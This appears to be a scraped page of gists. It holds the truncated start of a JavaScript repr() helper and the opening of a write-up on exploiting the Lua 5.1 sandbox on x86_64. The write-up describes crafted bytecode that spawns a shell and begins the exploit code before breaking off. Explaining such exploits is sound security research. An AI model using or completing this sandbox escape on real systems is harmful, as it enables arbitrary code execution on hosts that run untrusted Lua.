ulidtko

'use strict';
/* Python-like repr() formatter for JS types, with recursion limit. */
/* Adapted from https://gist.github.com/soapie/6407618 */
function repr(x, max, depth) {
	var ELIDED = "[..]";
	if (depth === undefined) depth = 0;
	if (max === undefined) max = 2;
	if (isPrim(x))
		return showPrim(x);
	if (typeof x === 'function')

ulidtko

Exploiting Lua 5.1 on x86_64

The following Lua program generates a Lua bytecode program called lua-sandbox-rce.luac, which in turn spawns a shell from within Lua 5.1 sandbox. The remainder of this document attempts to explain how this program works by a whirlwind tour of relevent bits of the Lua 5.1 virtual machine.

function outer()
  local magic -- In bytecode, the stack slot corresponding to this local is changed
  local function middle()
    local co, upval
    local ub1 = {[0] = -- Convert uint8_t to char[1]